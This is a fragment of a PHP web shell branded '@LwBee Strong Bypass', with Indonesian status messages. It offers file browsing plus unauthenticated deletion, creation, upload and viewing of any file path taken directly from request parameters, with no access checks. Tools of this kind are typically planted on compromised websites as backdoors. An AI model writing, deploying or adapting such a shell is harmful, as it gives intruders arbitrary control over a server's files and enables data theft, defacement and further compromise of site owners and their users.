$item,
'path' => $fullPath,
'type' => is_dir($fullPath) ? 'directory' : 'file'
];
}
}
}
usort($items, function($a, $b) {
if ($a['type'] === 'directory' && $b['type'] !== 'directory') return -1;
if ($a['type'] !== 'directory' && $b['type'] === 'directory') return 1;
return strcasecmp($a['name'], $b['name']);
});
return $items;
}
function generateBreadcrumb($path) {
$parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
$breadcrumb = [];
$currentPath = '';
foreach ($parts as $part) {
$currentPath .= DIRECTORY_SEPARATOR . $part;
$breadcrumb[] = '' . htmlspecialchars($part) . '';
}
return implode(' / ', $breadcrumb);
}
$defaultRootPath = getcwd();
$rootPath = $_GET['path'] ?? $defaultRootPath;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete_path'])) {
$deletePath = $_POST['delete_path'];
if (file_exists($deletePath)) {
unlink($deletePath);
echo "
File berhasil dihapus: " . htmlspecialchars($deletePath) . "
";
} else {
echo "File tidak ditemukan atau tidak dapat dihapus.
";
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['filename'])) {
$path = $_POST['path'] ?? $rootPath;
$filename = $_POST['filename'] ?? '';
$content = $_POST['content'] ?? '';
if (!empty($path) && !empty($filename)) {
$filePath = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $filename;
file_put_contents($filePath, $content);
echo "File berhasil dibuat di: " . htmlspecialchars($filePath) . "
";
} else {
echo "Path dan nama file tidak boleh kosong.
";
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file_upload'])) {
$uploadPath = $_POST['upload_path'] ?? $rootPath;
if (!empty($uploadPath) && is_dir($uploadPath)) {
$fileName = basename($_FILES['file_upload']['name']);
$targetFile = rtrim($uploadPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $targetFile)) {
echo "File berhasil diunggah ke: " . htmlspecialchars($targetFile) . "
";
} else {
echo "Gagal mengunggah file.
";
}
} else {
echo "Path tidak valid atau tidak ditemukan.
";
}
}
if (isset($_GET['view_file'])) {
$filePath = $_GET['view_file'];
if (file_exists($filePath) && is_file($filePath)) {
$fileContent = htmlspecialchars(file_get_contents($filePath));
echo "" . htmlspecialchars($filePath) . "
";
echo "$fileContent
";
} else {
echo "File tidak ditemukan atau tidak dapat dibuka.
";
}
}
$scannedItems = scanDirectory($rootPath);
?>
@LwBee Strong Bypass
Upload File
Create New File